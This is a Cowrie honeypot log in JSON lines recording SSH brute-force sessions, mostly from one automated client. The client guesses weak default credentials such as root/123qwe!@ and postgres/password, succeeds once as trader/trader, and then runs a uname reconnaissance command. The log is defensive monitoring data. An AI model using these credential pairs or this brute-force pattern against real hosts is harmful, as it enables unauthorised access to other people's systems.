{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:47.049436Z","src_ip":"176.65.132.129","session":"46a2c7081f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:47.131513Z","src_ip":"176.65.132.129","session":"46a2c7081f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:47.377972Z","src_ip":"176.65.132.129","session":"46a2c7081f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:48.462552Z","src_ip":"176.65.132.129","session":"46a2c7081f47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59070,"dst_ip":"159.203.135.109","dst_port":22,"session":"91dc6428ca15","protocol":"ssh","message":"New connection: 176.65.132.129:59070 (159.203.135.109:22) [session: 91dc6428ca15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:50.551247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:50.647723Z","src_ip":"176.65.132.129","session":"91dc6428ca15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:50.656550Z","src_ip":"176.65.132.129","session":"91dc6428ca15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:50.988965Z","src_ip":"176.65.132.129","session":"91dc6428ca15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:52.077076Z","src_ip":"176.65.132.129","session":"91dc6428ca15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59086,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fe1336e99f5","protocol":"ssh","message":"New connection: 176.65.132.129:59086 (159.203.135.109:22) [session: 0fe1336e99f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:54.130690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:54.135924Z","src_ip":"176.65.132.129","session":"0fe1336e99f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:54.218909Z","src_ip":"176.65.132.129","session":"0fe1336e99f5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:54.466684Z","src_ip":"176.65.132.129","session":"0fe1336e99f5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:54.683909Z","src_ip":"176.65.132.129","session":"0fe1336e99f5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:54.688325Z","src_ip":"176.65.132.129","session":"0fe1336e99f5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:54.775751Z","src_ip":"176.65.132.129","session":"0fe1336e99f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:54.781242Z","src_ip":"176.65.132.129","session":"0fe1336e99f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49208,"dst_ip":"10.17.0.5","dst_port":23,"session":"b101a9910230","protocol":"telnet","message":"New connection: 45.58.127.90:49208 (10.17.0.5:23) [session: b101a9910230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:56.957339Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40276,"dst_ip":"159.203.135.109","dst_port":22,"session":"a73590ec8eae","protocol":"ssh","message":"New connection: 176.65.132.129:40276 (159.203.135.109:22) [session: a73590ec8eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:57.445700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:57.451016Z","src_ip":"176.65.132.129","session":"a73590ec8eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:57.533741Z","src_ip":"176.65.132.129","session":"a73590ec8eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:57.781310Z","src_ip":"176.65.132.129","session":"a73590ec8eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:58.866446Z","src_ip":"176.65.132.129","session":"a73590ec8eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40300,"dst_ip":"159.203.135.109","dst_port":22,"session":"f03903f8851c","protocol":"ssh","message":"New connection: 176.65.132.129:40300 (159.203.135.109:22) [session: f03903f8851c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:00.857413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:00.974842Z","src_ip":"176.65.132.129","session":"f03903f8851c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:00.978109Z","src_ip":"176.65.132.129","session":"f03903f8851c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.037374496459961,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:00.994588Z","src_ip":"45.58.127.90","session":"b101a9910230","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:01.302894Z","src_ip":"176.65.132.129","session":"f03903f8851c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:02.391234Z","src_ip":"176.65.132.129","session":"f03903f8851c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40320,"dst_ip":"159.203.135.109","dst_port":22,"session":"952e6c41c252","protocol":"ssh","message":"New connection: 176.65.132.129:40320 (159.203.135.109:22) [session: 952e6c41c252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:04.394254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:04.399173Z","src_ip":"176.65.132.129","session":"952e6c41c252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:04.481545Z","src_ip":"176.65.132.129","session":"952e6c41c252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:04.728797Z","src_ip":"176.65.132.129","session":"952e6c41c252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47894,"dst_ip":"10.17.0.5","dst_port":23,"session":"1088029ef0dc","protocol":"telnet","message":"New connection: 45.58.127.90:47894 (10.17.0.5:23) [session: 1088029ef0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:05.013002Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:05.818996Z","src_ip":"176.65.132.129","session":"952e6c41c252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50466,"dst_ip":"159.203.135.109","dst_port":22,"session":"362f0ca62548","protocol":"ssh","message":"New connection: 176.65.132.129:50466 (159.203.135.109:22) [session: 362f0ca62548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:07.759855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:07.765929Z","src_ip":"176.65.132.129","session":"362f0ca62548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:07.849119Z","src_ip":"176.65.132.129","session":"362f0ca62548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:08.095870Z","src_ip":"176.65.132.129","session":"362f0ca62548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:09.181878Z","src_ip":"176.65.132.129","session":"362f0ca62548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50476,"dst_ip":"159.203.135.109","dst_port":22,"session":"67f39262ceb3","protocol":"ssh","message":"New connection: 176.65.132.129:50476 (159.203.135.109:22) [session: 67f39262ceb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:11.381565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:11.386972Z","src_ip":"176.65.132.129","session":"67f39262ceb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:11.469413Z","src_ip":"176.65.132.129","session":"67f39262ceb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:11.717278Z","src_ip":"176.65.132.129","session":"67f39262ceb3","protocol":"ssh"}
